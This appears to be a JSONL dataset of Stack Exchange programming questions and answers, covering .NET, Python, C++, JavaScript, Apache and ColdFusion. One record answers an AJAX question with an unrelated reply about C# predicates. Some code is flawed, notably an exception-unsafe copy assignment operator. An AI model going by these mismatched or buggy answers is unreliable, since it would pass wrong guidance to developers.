{"id": "hf_8f921ff95c0e", "question": "<p>I am writing an .NET wrapper API for the Netflix API.</p>\n\n<p>At this point I can choose to represent URLs as either strings or URI objects. Seems to me there is a good case for both.</p>\n\n<p>So if you were using an API, which would you prefer?</p>\n", "question_body": "", "answer": "The below quote is from:\nFramework Design Guildelines\nI\nhighly\nrecommend this book to anyone developing frameworks on .Net\nDo use\nSystem.Uri to represent URI / URL data.\n(For Parameters,\n  properties, and return values)\nSystem.Uri is a much safer and richer\n  way of representing URIs. Extensive\n  manipulation of URI-related data using\n  plain strings has been shown to cause\n  many security and correctness\n  problems.\nConsider\nproviding string-based overloads for most commonly used\n  members with System.Uri parameters.\nIn cases where the usage pattern of\n  taking a string from a user will be\n  common enough, you should consider\n  adding a convenience overload\n  accepting a string. The string-based\n  overload should be implemented in\n  terms of the Uri-based overload.\nDo Not\nautomatically overload all Uri-based members with a version that\n  accepts a string.\nGenerally, Uri-based APIs are\n  preferred. String-based overloads are\n  meant to be helpers for the most\n  common scenarios. Therefore, you\n  should not automatically provide\n  string-based overloads for all\n  variants of the Uri-based members. Be\n  selective and provide such helpers\n  just for the most commonly used\n  variants.\nEDIT (per comments):\nThe book specifically states:\n\"Extensive manipulation of URI-related data using plain strings has been shown to cause many security and correctness problems.\"\nI am not sure what additional justification you want for using System.Uri / UriBuilder. Additionally, why wouldn't you want to take advantage of the framework to read/manipulate a URI?\nWhen designing an API that will be used by others it is important to make them approachable,\nas well as reliable\n. For this reason the book does mention, you should provide \"nice\" overloads for common functionality. However, to ensure correctness, you should always implement the underlying code with URIs.\nCan you please clarify your wants, or reasons to use only strings?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.969960"}
{"id": "hf_4c0dd6dc56ec", "question": "<p>For example, I'm trying to convert 2008-09-26T01:51:42.000Z to 09/26/2008. What's the simplest way of accomplishing this?</p>\n", "question_body": "", "answer": "```\n```\n>>> import time\n>>> timestamp = \"2008-09-26T01:51:42.000Z\"\n>>> ts = time.strptime(timestamp[:19], \"%Y-%m-%dT%H:%M:%S\")\n>>> time.strftime(\"%m/%d/%Y\", ts)\n'09/26/2008'\n```\n```\nSee the documentation of the Python\n```\ntime\n```\nmodule for more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.016917"}
{"id": "hf_36d72a9b582c", "question": "<p>There are some fairly powerful tools like <a href=\"http://www.culater.net/software/SIMBL/SIMBL.php\" rel=\"nofollow noreferrer\">SIMBL</a> or <a href=\"http://rogueamoeba.com/airfoil/mac/index.php\" rel=\"nofollow noreferrer\">Airfoil/Instant Hijack</a> which use code injection.<br>\nAs far as I understand this, these tools inject their own code in other programs. This idea sounds dangerous to me as this seems to have the potential to make perfectly stable software fragile and \"buggy\". Also this seems to pose security risks.</p>\n\n<p>Should these tools be avoided for stability or security reasons?</p>\n", "question_body": "", "answer": "I believe it does not just refer to that\nkind of code injection\nfor hacking or cracking a system.\nIt is also a technique often used in java world, with tools like\nAOP\nor\nIPojo\n.\nWhen they make sense, they complement the current code, allowing them:\nto function within a given framework (OSGI Declarative Services for IPojo)\nto add functionalities (logging services for AOP)\nAs long as the initial code can run without that code injection, the stability is less an issue.\nStability and security - in the case of those two benevolent usages of code injection - of the injected code should be evaluated in a separate test code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.044297"}
{"id": "hf_66ea107e6208", "question": "<p>I have two projects in CPP. One defines a function which I'd like to invoke from the other.\nI added a reference to the first project.\nI still get the message of \"identifier not found\".\nAssuming that the CPP file in the first project doesn't have a header, how do I make the second project know about its functions?</p>\n", "question_body": "", "answer": "If the first project doesn't have a header and you don't want to add one, then use the\n```\nextern\n```\nkeyword to declare a prototype for the function you want to call in the second project source:\n```\n```\nextern function_in_first_project(int args_go_here);\n```\n```\nMake 100% sure that the function declaration (including argument list and calling convention) matches that of the actual function or you'll run into further problems.\nThis may not be the only thing you have to do to make your project link, depending on how you've got your projects set up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.128193"}
{"id": "hf_55e194ffb02a", "question": "<p>Is there a way to make a python module load a dll in my application directory rather than the version that came with the python installation, without making changes to the python installation (which would then require I made an installer, and be careful I didn't break other apps for people by overwrting python modules and changing dll versions globaly...)?</p>\n\n<p>Specifically I would like python to use my version of the sqlite3.dll, rather than the version that came with python (which is older and doesn't appear to have the fts3 module).</p>\n", "question_body": "", "answer": "If your version of sqlite is in sys.path\nbefore\nthe systems version it will use that. So you can either put it in the current directory or change the\n```\nPYTHONPATH\n```\nenvironment variable to do that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.175698"}
{"id": "hf_5fa3441532cf", "question": "<p>I have an Internet Explorer only web application.</p>\n\n<p>I'm exploring what we can do to automate the testing. </p>\n\n<p>Selenium looks like a good tool, but to be able to activate links etc. I need to tell it where they are. The application wasn't built with this kind of testing in mind, so there generally aren't <code>id</code> attributes on the key elements.</p>\n\n<p>No problem, I think, I can use XPath expressions. But finding the correct XPath for, say, a button, is a royal pain if done by inspecting the source of the page.</p>\n\n<p>With Firefox / Firebug, I can select the element then use \"Copy XPath\" to get the expression.</p>\n\n<p>I have the IE Developer Toolbar and it's frustratingly close. I can click to select the element of interest and display all sorts of information about it. but I can't see any convenient way of determining the XPath for it.</p>\n\n<p>So is there any way of doing this with IE?</p>\n", "question_body": "", "answer": "I would use bookmarklets. I have one XPath related, but I don't know if it works in IE. I gotta go but I will test it and give it if it works on IE.\nTwo bookmarklet sites for Web developers from my bookmarks:\nSubsimple's bookmarklets\nand\nSquarefree's Bookmarklets\n. Lot of useful things there...\n[EDIT] OK, I am back. The bookmarklet I had was for FF only, and wasn't optimal. I finally rewrote it, although using ideas from the original one. Can't find back where I found it.\nExpanded JS:\n```\n```\nfunction getNode(node)\n{\n  var nodeExpr = node.tagName;\n  if (nodeExpr == null)  // Eg. node = #text\n    return null;\n  if (node.id != '')\n  {\n    nodeExpr += \"[@id='\" + node.id + \"']\";\n    // We don't really need to go back up to //HTML, since IDs are supposed\n    // to be unique, so they are a good starting point.\n    return \"/\" + nodeExpr;\n  }\n// We don't really need this\n//~   if (node.className != '')\n//~   {\n//~     nodeExpr += \"[@class='\" + node.className + \"']\";\n//~   }\n  // Find rank of node among its type in the parent\n  var rank = 1;\n  var ps = node.previousSibling;\n  while (ps != null)\n  {\n    if (ps.tagName == node.tagName)\n    {\n      rank++;\n    }\n    ps = ps.previousSibling;\n  }\n  if (rank > 1)\n  {\n    nodeExpr += '[' + rank + ']';\n  }\n  else\n  {\n    // First node of its kind at this level. Are there any others?\n    var ns = node.nextSibling;\n    while (ns != null)\n    {\n      if (ns.tagName == node.tagName)\n      {\n        // Yes, mark it as being the first one\n        nodeExpr += '[1]';\n        break;\n      }\n      ns = ns.nextSibling;\n    }\n  }\n  return nodeExpr;\n}\n\nvar currentNode;\n// Standard (?)\nif (window.getSelection != undefined) \n  currentNode = window.getSelection().anchorNode;\n// IE (if no selection, that's BODY)\nelse \n  currentNode = document.selection.createRange().parentElement();\nif (currentNode == null)\n{\n  alert(\"No selection\");\n  return;\n}\nvar path = [];\n// Walk up the Dom\nwhile (currentNode != undefined)\n{\n  var pe = getNode(currentNode);\n  if (pe != null)\n  {\n    path.push(pe);\n    if (pe.indexOf('@id') != -1)\n      break;  // Found an ID, no need to go upper, absolute path is OK\n  }\n  currentNode = currentNode.parentNode;\n}\nvar xpath = \"/\" + path.reverse().join('/');\nalert(xpath);\n// Copy to clipboard\n// IE\nif (window.clipboardData) clipboardData.setData(\"Text\", xpath);\n// FF's code to handle clipboard is much more complex \n// and might need to change prefs to allow changing the clipboard content.\n// I omit it here as it isn't part of the original request.\n```\n```\nYou have to select the element and activate the bookmarklet to get its XPath.\nNow, the bookmarklet versions (thanks to\nBookmarklet Builder\n):\nIE\n(I had to break it in two parts, because IE doesn't like very long bookmarklets (max size varies depending on IE versions!). You have to activate the first one (function def) then the second one. Tested with IE6.)\n```\n```\njavascript:function getNode(node){var nodeExpr=node.tagName;if(!nodeExpr)return null;if(node.id!=''){nodeExpr+=\"[@id='\"+node.id+\"']\";return \"/\"+nodeExpr;}var rank=1;var ps=node.previousSibling;while(ps){if(ps.tagName==node.tagName){rank++;}ps=ps.previousSibling;}if(rank>1){nodeExpr+='['+rank+']';}else{var ns=node.nextSibling;while(ns){if(ns.tagName==node.tagName){nodeExpr+='[1]';break;}ns=ns.nextSibling;}}return nodeExpr;}\njavascript:function o__o(){var currentNode=document.selection.createRange().parentElement();var path=[];while(currentNode){var pe=getNode(currentNode);if(pe){path.push(pe);if(pe.indexOf('@id')!=-1)break;}currentNode=currentNode.parentNode;}var xpath=\"/\"+path.reverse().join('/');clipboardData.setData(\"Text\", xpath);}o__o();\n```\n```\nFF\n```\n```\njavascript:function o__o(){function getNode(node){var nodeExpr=node.tagName;if(nodeExpr==null)return null;if(node.id!=''){nodeExpr+=\"[@id='\"+node.id+\"']\";return \"/\"+nodeExpr;}var rank=1;var ps=node.previousSibling;while(ps!=null){if(ps.tagName==node.tagName){rank++;}ps=ps.previousSibling;}if(rank>1){nodeExpr+='['+rank+']';}else{var ns=node.nextSibling;while(ns!=null){if(ns.tagName==node.tagName){nodeExpr+='[1]';break;}ns=ns.nextSibling;}}return nodeExpr;}var currentNode=window.getSelection().anchorNode;if(currentNode==null){alert(\"No selection\");return;}var path=[];while(currentNode!=undefined){var pe=getNode(currentNode);if(pe!=null){path.push(pe);if(pe.indexOf('@id')!=-1)break;}currentNode=currentNode.parentNode;}var xpath=\"/\"+path.reverse().join('/');alert(xpath);}o__o();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.199233"}
{"id": "hf_bee76a2f0e2b", "question": "<p>I want to keep my website/s in version control (Subversion specifically) and use <code>svn co</code> to update it when there are stable versions to update, but I'm concerned about the security of doing so, as all the <code>.svn</code> folders will be public, and these include all sorts of private data, not least of which is complete source code to my website! </p>\n\n<p>Is there anything I can I do to prevent this?</p>\n", "question_body": "", "answer": "This can be achieved server-wide (recommended), on a single virtual-host basis, or even inside\n```\n.htaccess\n```\nfiles if your server is somewhat permissive with what is allowed in them. The specific configuration you need is:\n```\n```\nRewriteEngine On\nRewriteRule /\\.svn /some-non-existant-404-causing-page\n\n<IfModule autoindex_module>\n    IndexIgnore .svn\n</IfModule>\n```\n```\nThe first section requires\n```\nmod_rewrite\n```\n. It forces any requests with \"/.svn\" in them (ie. any request for the directory, or anything inside the directory) to be\ninternally\nredirected to a non-existant page on your website. This is completely transparent to the end-user and undetectable. It also forces a 404 error, as if your\n```\n.svn\n```\nfolders just disappeared.\nThe second section is purely cosmetic, and will hide the\n```\n.svn\n```\nfolders from the autoindex module if it is activated. This is a good idea too, just to keep curious souls from getting any ideas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.247324"}
{"id": "hf_bce7e7fcb0f5", "question": "<p>Please write a list of tasks that a copy constructor and assignment operator need to do in C++ to keep exception safety, avoid memory leaks etc. </p>\n", "question_body": "", "answer": "I have no idea about exception safely here but I go this way. Let's imagine it's a templated array wrapper. Hope it helps :)\n```\n```\nArray(const Array& rhs)\n    {\n        mData = NULL;\n        mSize = rhs.size();\n        *this = rhs;\n    }\n\n    Array& operator=(const Array& rhs)\n    {\n        if(this == &rhs)\n        {\n            return *this;\n        }\n\n        int len = rhs.size();\n\n        delete[] mData;\n\n        mData = new T[len];\n\n        for(int i = 0; i < len; ++i)\n        {\n            mData[i] = rhs[i];\n        }\n\n        mSize = len;\n\n        return *this;\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.283484"}
{"id": "hf_e45bd70c029a", "question": "<p>Is it possible, with Javascript or some other technology to determine which hyperlink a user has clicked on, without changing the hyperlink source code.</p>\n\n<p>For example:\nCan you click on a 'tag' button, then click on a hyperlink hosted in a different iframe, and be able to calculate which hyperlink the user clicked on, without changing any of the source code in that iframe?</p>\n", "question_body": "", "answer": "you need to put an event on each a link ,\nand then you will get all the information about the specific click.\nthis will work only in the some document,\nso if you try to do a test between the link inside an iframe and a link in your page you will not get an event for the iframe link.\nin order to attach the event for all link you need to run on all the links in the page ,\nthe best way to do that is by jQuery selector. or other js framework like YUI\n$(\"a\").click(function () { \n      alert('')\n});\ngetElementsByTagName(\"a\") - will give you all the links in the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.307668"}
{"id": "hf_082e90e91436", "question": "<p>I'm trying to assign application pool to one web site in IIS7 using vb script:</p>\n\n<pre><code>' Connect to the WMI WebAdministration namespace.'\nSet oWebAdmin = GetObject(\"winmgmts:root\\WebAdministration\")\n\n' Retrieve the application and display its Web site name and path.'\nSet oApp = oWebAdmin.Get(\"Application.SiteName='Default Web Site',Path='/site'\")\n\n' Specify a new application pool name and save it.'\noApp.ApplicationPool = \"NewAppPool\"\noApp.Put_\n</code></pre>\n\n<p>the above script is not working!</p>\n\n<p>Is there is a better way to assign application pool to web site under IIS (Using script)?</p>\n", "question_body": "", "answer": "Are you setting the app pool on a web site or a virtual directory?\ni.e., \"Default Web Site/site\" (virtual directory) or just \"Site\" (web site).\nIf you trying to set it on a web site, not a virtual directory, you need to do something like:\n```\n```\nSet oWebAdmin = GetObject(\"winmgmts:root\\WebAdministration\")\nSet oSite = oWebAdmin.Get(\"Site.Name='Site'\")\noSite.ApplicationDefaults.ApplicationPool = \"NewAppPool\"\noSite.Put_\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.355305"}
{"id": "hf_f40e0a007165", "question": "<p>When using C++ namespaces, do you prefer to explicitly name them, like this:</p>\n\n<pre><code>std::cout &lt;&lt; \"Hello, world!\\n\";\n</code></pre>\n\n<p>Or do you prefer <code>using namespace</code>:</p>\n\n<pre><code>using namespace std;\ncout &lt;&lt; \"Hello, world!\\n\";\n</code></pre>\n\n<p>And if if you prefer the latter, do you declare your usings at file or function scope?</p>\n\n<p>Personally I prefer to explicitly name them - it's more typing but when using a mixture of namespaces (e.g. <code>std</code> and <code>boost</code>) I find it more readable.</p>\n", "question_body": "", "answer": "I always use\n```\nusing namespace\n```\nfor std & boost. Everything else I tend to use an explicit namespace unless it is used so much that it would clutter up the code.\nIn headers, I never use\n```\nusing namespace\n```\nto avoid polluting the global namespace of the #including source.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.379240"}
{"id": "hf_8acfbc03990f", "question": "<p>How to dynamically bind data to <code>&lt;%Html.Dropdownlist....</code> in ASP.NET MVC?</p>\n", "question_body": "", "answer": "Just pass the correct IEnumerable as the typed model or ViewData. Try something like this (out of my head):\n```\n```\n<%= Html.DropDownList(string.Empty, \n    \"myDropDownList\",  \n    new SelectList((IEnumerable)ViewData[\"stuff\"], \n        \"DescriptionProperty\", \n        \"ValueProperty\")) \n%>\n```\n```\nWith that drop down list helper in MVC, you do not really \"bind\" data to it in the way it is done in the old ASP.NET.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.427249"}
{"id": "hf_6d93c3392e76", "question": "<p>I am trying to connect to simple webparts in my sharepoint team site, i need one of the webparts to filter its information based on what it recieves from another webpart</p>\n\n<p>I am using the query string filter webpart and the a list view webpart but no matter how i connect them always i am getting this error </p>\n\n<p>\"Web Part Error:  This page has exceeded its data fetch limit for connected Web Parts. Try disconnecting one or more Web Parts to correct the problem.\"</p>\n\n<p>What should I do and what am I doing wrong</p>\n\n<p><strong>update:</strong>\n i can connect to web parts on some other pgae, but getting this error on the DispForm.aspx page of a certain item , is webpart connections not allowed there ??!!</p>\n", "question_body": "", "answer": "There is an issue with creating QueryString filter webparts in sharepoint, when you're not using the Web UI (I'm making an assumption that you aren't).\nThis fella here has a post about it and how he hacked around the issue.\nhttp://social.msdn.microsoft.com/Forums/en-US/sharepointdevelopment/thread/0328f1b2-20cd-427f-887a-e2925bd695e3/\nAnother option is not using the QueryString filter web part at all, and just passing querystrings to a regular web part.\nhttp://mo.notono.us/2008/04/moss-filter-views-through-url-query.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.487192"}
{"id": "hf_8c9dd2b85da3", "question": "<p>I want to be able to use a function such as <code>writefln()</code> but without having to add <code>import std.stdio</code> at the top of the file.</p>\n\n<p>Another way to explain it is the way you do it in C++. You can type <code>std::cout &lt;&lt; \"Test\";</code> and that will stop you from having to add <code>using namespace std;</code>. I want to do the same thing, but in D.</p>\n", "question_body": "", "answer": "I don't think you can do that. The\n```\nimport\n```\nstatement in D does more than the\n```\nusing namespace\n```\nstatement does in C++. It also replaces the\n```\n#include\n```\npreprocessor directive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.535190"}
{"id": "hf_c1a23b939352", "question": "<p>I am using running a simple find all and paginating with willpaginate, but I'd also like to have the query sorted by the user. The first solution that came to mind was just use a params[:sort]</p>\n\n<pre><code>http://localhost:3000/posts/?sort=created_at+DESC\n\n@posts = Post.paginate :page =&gt; params[:page], :order =&gt; params[:sort]\n</code></pre>\n\n<p>But the problem with his approach is that the query is defaulting as sorting by ID and I want it to be created_at. </p>\n\n<p>Is this a safe approach to sorting and is there a way to default to created_at?</p>\n", "question_body": "", "answer": "In general, the way to supply default values for Hash and Hash-like objects is to use\n```\nfetch\n```\n:\n```\n```\nparams.fetch(:sort){ :created_at }\n```\n```\nA lot of people just use\n```\n||\n```\nthough:\n```\n```\nparams[:sort] || :created_at\n```\n```\nI prefer\n```\nfetch\n```\nmyself as being more explicit, plus it doesn't break when\n```\nfalse\n```\nis a legitimate value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.595253"}
{"id": "hf_92ba5d1fe8d5", "question": "<p>I have an old ASP.NET 1.1 site that I am maintaining.  We are working with Google to place analytics code on all pages.  Since I can't take advantage of master pages in 1.1, I have my pages include headers/footers/sidebars with User Controls.</p>\n\n<p>What came to mind first is to place the JavaScript in my footer ascx control so it appears on every page.  But I don't think I can link to a JavaScript file from a user control.  </p>\n\n<p>Any ideas on what I can do to get this js code placed on every page in my site?</p>\n", "question_body": "", "answer": "What keeps you from simply referencing your script in the user control?\n```\n```\n<asp:SomeControl ID=\"SomeControl1\" runat=\"server>\n  <script src=\"some.js\" type=\"text/javascript\"></script>\n</asp:SomeControl>\n```\n```\nYou could also do this:\n```\n```\nprotected void Page_Load(object sender, EventArgs e)\n{\n  Literal some_js = new Literal();\n  some_js = \"<script type='text/javascript' src='some.js'></script>\";\n  this.Header.Controls.Add(some_js);\n}\n```\n```\n(Obviously, the second approach would still force you to modify the pages themselves, unless they inherit from a common parent you control.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.619432"}
{"id": "hf_46c3b0239d7c", "question": "<p>Sharepoint isn't the speediest of server applications, and I've read about a few tips to speed it up. What steps do you think are necessary to increase performance so it can be used to host a high traffic site?</p>\n", "question_body": "", "answer": "At the end of the day SharePoint is just a complicated web site with all the standard components.\nIn order to optimize performance you need to analyze each component and determine which one is a problem, and then adjust it accordingly.\nWe're in the process of implementing a 1000 concurrent user sharepoint website, which may or may not be large, however some steps we are taking are:\nImplementing a detailed caching strategy, to cache webpart content intelligently.\nUse load balanced servers to ensure all our hardware is utilised rather then lying idle.\nWe've undertaken capacity planning given the existing solution, so we have a good idea which component is the bottleneck for us. (The SQL Server), so we will ensure the server can cope with expected load and future growth of the site.\nWe're also using hardware load balancers which will ensure our network and the related servers operate as expected, and again this is something to investigate before you implement a sharepoint website.\nWe're also ensuring our webparts don't generate unnecessary html, and don't return unnecesary data, as this will slow down loading times.\nSomething which I definately think is a good idea is to have a goal to work towards, as you can spend a huge amount of money and time optimizing SharePoint, which may prove unnecessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.656207"}
{"id": "hf_ae607a4eb3d0", "question": "<p>Is the asp.net membership system used over wcf (transport security turned on) enough for high security internet scenarios with thousands of clients spread all over the internet?</p>\n\n<p>I'm just evaluating possible solutions and wanted to know if this might fit in this category.</p>\n\n<p>If not, what would be the best method to provide high security access over wcf for internet scenarios?</p>\n", "question_body": "", "answer": "Yes it will work; and with SSL/transport security the authentication will be protected by the transport. Will it scale? That's harder to say; it depends on too many factors.\nOK so by high security you're looking for non-repudiation? That's trickier; because of course people can share usernames and passwords. But even if you also used client certificates, well people share certificates. I'd certainly look at\nWCF auditing\nin combination with the authentication and set SupressAuditFailure to be false.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.680899"}
{"id": "hf_6770fbf81150", "question": "<p>I have a ListCtrl that displays a list of items for the user to select. This works fine except that when the ctrl is not large enough to show all the items, I want it to expand downwards with a vertical scoll bar rather than using a horizontal scroll bar as it expands to the right.</p>\n\n<p>The ListCtrl's creation:</p>\n\n<pre><code>self.subjectList = wx.ListCtrl(self, self.ID_SUBJECT, style = wx.LC_LIST | wx.LC_SINGLE_SEL | wx.LC_VRULES)\n</code></pre>\n\n<p>Items are inserted using wx.ListItem:</p>\n\n<pre><code>item = wx.ListItem()\nitem.SetText(subject)\nitem.SetData(id)\nitem.SetWidth(200)\nself.subjectList.InsertItem(item)\n</code></pre>\n", "question_body": "", "answer": "Use the\nwxLC_REPORT\nstyle.\n```\n```\nimport wx\n\nclass Test(wx.Frame):\n    def __init__(self):\n        wx.Frame.__init__(self, None)\n        self.test = wx.ListCtrl(self, style = wx.LC_REPORT | wx.LC_NO_HEADER)\n\n        for i in range(5):\n            self.test.InsertColumn(i, 'Col %d' % (i + 1))\n            self.test.SetColumnWidth(i, 200)\n\n        for i in range(0, 100, 5):\n            index = self.test.InsertStringItem(self.test.GetItemCount(), \"\")\n            for j in range(5):\n                self.test.SetStringItem(index, j, str(i+j)*30)\n\n        self.Show()\n\napp = wx.PySimpleApp()\napp.TopWindow = Test()\napp.MainLoop()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.705133"}
{"id": "hf_ba9fbb64bda9", "question": "<p>Can someone tell me how i can change the .xml file that a flash movie loads using c#.  ie: i would like an ActionScript variable that defines the location of the flash movie. I would like to be able to change this variable using c# if possible.</p>\n\n<p>i dont really know how it would look, but something like:</p>\n\n<pre><code>&lt;object xmlpath='\" + myCSharpVar + \"'\" ...&gt;&lt;/object&gt;\n</code></pre>\n\n<p>I just starting this, but my ultimate goal is to create a .swf movie that can load an xml file that specifies images, etc.  However i want to use the same .swf file in multiple places and only have to change a ref to what xml file it uses - and my Flash/ActionScript skills are very rusty.</p>\n\n<p>To clear it up a bit, in AS you can do something like: </p>\n\n<pre><code>loader.load( new URLRequest(\"IWantThisNameDynamic.xml\") );\n</code></pre>\n\n<p>how can i define that xml file in my c# code?</p>\n", "question_body": "", "answer": "I'm quite sure you cannot \"create\" your own attributes for the object tag. At least not without consulting with the w3c ;-)\nPassing values to flash is done via the \"flashvar\"-param:\n```\n```\n<object ...>\n    <param name=\"flashvars\" value=\"&xmlpath=<path to xml>\"/>\n  </object>\n```\n```\nIn the flash-movie you can now access the path to your xml via the \"xmlpath\"-variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.729593"}
{"id": "hf_7bd0d6472b52", "question": "<p>I have the following javascript:</p>\n\n<pre><code>$.ajax({\n  type: \"POST\",\n  dataType: \"json\",\n  url: \"/Home/Submit\",\n  data: {\n    email: strEmail,\n    message: strMessage\n  },\n  success: function(result) {\n    //alert('here');\n    alert(result.message);\n  },\n  error: function(error) {\n    alert(error);\n  }\n});\n</code></pre>\n\n<p>This makes a call to this function:<BR></p>\n\n<pre><code>public JsonResult Submit(string Email, string Message) {\n  return Json(new {\n    message = \"yep\"\n  });\n}\n</code></pre>\n\n<p>This works fine in debug mode on the inbuilt webserver.</p>\n\n<p>However if I go to the virtual dir directly it does not and hits the error bit. I attached to the process and the code behind never gets hit. </p>\n\n<p>I am using Vista. </p>\n\n<p>Additionally how do you get the error description in the bit where it says  alert(error);</p>\n\n<p>Thanks,</p>\n\n<p>Alex</p>\n", "question_body": "", "answer": "Predicate is a delegate. You can not inherit from a delegate type.\nIf you want to get the inverted value, use the following:\n```\n```\nPredicate<T> p;\nPredicate<T> inverted = t => !p(t);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.765768"}
{"id": "hf_1ed8a89ddaa9", "question": "<p>For example, I want just the \"filename\" of a file in a field.  Say I have myimage.jpg  I only want to display \"myimage\"  How do I get just that?  </p>\n", "question_body": "", "answer": "Use the List functions to your advantage.\n```\n```\n<cfset FileName = ListDeleteAt(FileFullName, ListLen(FileFullName, \".\"), \".\")>\n```\n```\nBe aware that this only works for file names that actually\nhave\na file extension (that is defined as the thing after the last dot). To make it safer, the following is better:\n```\n```\n<cfset ExtensionIndex = ListLen(FileFullName, \".\")>\n<cfif ExtensionIndex gt 1>\n  <cfset FileExt  = ListGetAt(ExtensionIndex , \".\")>\n  <cfset FileName = ListDeleteAt(FileFullName, ExtensionIndex, \".\")>\n<cfelse>\n  <cfset FileExt  = \"\">\n  <cfset FileName = FileFullName>\n</cfif>\n```\n```\nTo complicate things a bit further: There may be files that start with a dot. There may be file names that contain many adjacent dots. List functions return wrong results for them, as they ignore empty list elements. There may also be files that have dots, but no extension. These can only be handled if you provide an extension white list:\n```\nListFindNoCase(FileExt, \"doc,xls,ppt,jpg\")\n```\n. If you want to account for all of this, you probably need to resign to a reguar expression:\n```\n```\n<cfset FileExtRe = \"(?:\\.(?:doc|xls|ppt|jpg))?$\">\n<cfset FileName  = REReplaceNoCase(FileFullName, FileExtRe, \"\")>\n```\n```\nTo split file name from path, ColdFusion provides distinct functions that also handle platform differences:\n```\nGetFileFromPath()\n```\nand\n```\nGetDirectoryFromPath()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 